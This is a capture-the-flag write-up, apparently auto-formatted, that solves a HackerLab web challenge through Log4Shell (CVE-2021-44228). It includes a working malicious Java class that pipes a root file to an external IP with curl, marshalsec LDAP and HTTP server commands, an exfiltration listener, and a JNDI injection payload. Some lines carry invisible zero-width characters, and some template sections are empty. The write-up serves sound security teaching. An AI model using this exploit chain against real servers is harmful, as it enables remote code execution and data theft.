Backdoor

Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-04 | Status: Solved Techniques: data_exfiltration_via_http, jndi_injection, log4shell_exploitation, remote_codebase_loading

Summary

Task: Apache Tomcat 8 login form that logs user input via vulnerable Log4j 2.x; page title hints at Log4Shell. Solution: inject JNDI payload in username field, use marshalsec LDAP referral server to redirect to malicious Java class, achieve RCE and exfiltrate flag from /root/.fl4g.txt.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: hackerlab | ID: 20260404_hackerlab_backdoor
• Tags: rce, java, deserialization, tomcat, ldap, log4shell, log4j, jndi, cve-2021-44228, marshalsec
• Indicators: Apache Tomcat/8.0.36 with Java 8 — old Java version susceptible to JNDI remote codebase loading, Page title contains stylized hint 'l----4-----sh' pointing to Log4Shell, Error message says 'we will log your information' — user input is processed by a logger, Login form with POST parameters where username is logged server-side, Java 8u102 — below 8u121, so trustURLCodebase=true by default
• Source: 20260404_hackerlab_backdoor.md

Foothold

Vulnerability / Misconfiguration

1. Data_exfiltration_via_http
2. Jndi_injection
3. Log4shell_exploitation
4. Remote_codebase_loading

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• data_exfiltration_via_http
• jndi_injection
• log4shell_exploitation
• remote_codebase_loading
• Tags: rce, java, deserialization, tomcat, ldap, log4shell, log4j, jndi, cve-2021-44228, marshalsec

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Бэкдор. Ты случайно не забыл закрыть заднюю дверь?

English summary: A web application running on Apache Tomcat/8.0.36 with a login form. The task name "Backdoor" and description "Did you forget to close the back door?" hint at an unpatched vulnerability. The goal is to exploit the server and retrieve the flag.

Analysis

Reconnaissance

The target at http://62.173.140.174:10600 runs Apache Tomcat/8.0.36 (Apache-Coyote/1.1). The main page presents a login form that POSTs to /login with parameters uname and password (password field is hidden with value "password"). ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key hints discovered:

1. Page title: "What the fuck is l----4-----sh?" — a stylized reference to Log4Shell (CVE-2021-44228).
2. Failed login response: "the password you entered was invalid, we will log your information" — the phrase "we will log your information" confirms user input is being processed by a logging framework.
3. Successful login with admin/password returns "Welcome Back Admin" (static, no session/cookies).
4. No other endpoints exist (all return 404). ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability Identification

• CVE-2021-44228 (Log4Shell) — critical RCE vulnerability in Apache Log4j 2.x.
• The uname POST parameter is logged by the server using a vulnerable Log4j version.
• Java version on target: 8u102 (below 8u121), meaning com.sun.jndi.ldap.object.trustURLCodebase = true by default — remote codebase loading via LDAP works without any bypasses.

Solution

Step 1: Set Up Attack Infrastructure

A VDS with a public IP (147.45.168.182) was rented to receive callbacks from the target. Three services were needed: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

1. LDAP referral server (port 1389) — using marshalsec to redirect JNDI lookups to an HTTP server
2. HTTP server (port 8888) — to serve the malicious Java class
3. Exfiltration listener (port 9001) — to capture the flag data

Note: Initially attempted to use ngrok for TCP tunneling, but ngrok requires a credit card for TCP endpoints on free accounts. A VDS was used instead.

Step 2: Create Malicious Java Class

import java.io.*;
import java.net.*;
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

public class Exploit {
    static {
        try {
            String[] cmd = {"/bin/bash", "-c",
                "cat /root/.fl4g.txt | curl -s -X POST http://147.45.168.182:9001/flag --data-binary @-"
            };
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Compiled for Java 8 compatibility:

javac -source 8 -target 8 Exploit.java

Step 3: Start Infrastructure on VDS

# Open firewall ports
ufw allow 1389/tcp && ufw allow 8888/tcp
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# HTTP server to serve Exploit.class (port 8888)
python3 -m http.server 8888

# LDAP referral server (port 1389)
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer \
  "http://147.45.168.182:8888/#Exploit" 1389

# Exfiltration listener (port 9001) — custom Python HTTP server
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        data = self.rfile.read(length)
        print('FLAG:', data.decode())
        self.send_response(200)
        self.end_headers()
HTTPServer(('0.0.0.0', 9001), H).serve_forever()
"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: Send JNDI Payload

curl -X POST 'http://62.173.140.174:10600/login' \
  --data-urlencode 'uname=${jndi:ldap://147.45.168.182:1389/Exploit}' \
  --data-urlencode 'password=password'

Step 5: Attack Chain Execution

The full attack chain:

1. Tomcat received the POST request
2. Log4j logged the uname value containing ${jndi:ldap://...}
3. Log4j resolved the JNDI expression → connected to our LDAP server on port 1389
4. Marshalsec responded with an LDAP reference redirecting to http://147.45.168.182:8888/Exploit.class
5. Target downloaded and instantiated Exploit.class → RCE achieved
6. The static initializer executed: cat /root/.fl4g.txt → POSTed content to our exfil listener on port 9001 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Enumeration Phase (before reading the flag)

Before extracting the flag, RCE was used to enumerate the filesystem:

• ls -la /, env, ls -la /root/ — revealed a Docker container (hostname 448160fbbf92), Tomcat in /usr/local/tomcat
• Discovered hidden flag file: /root/.fl4g.txt (30 bytes) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR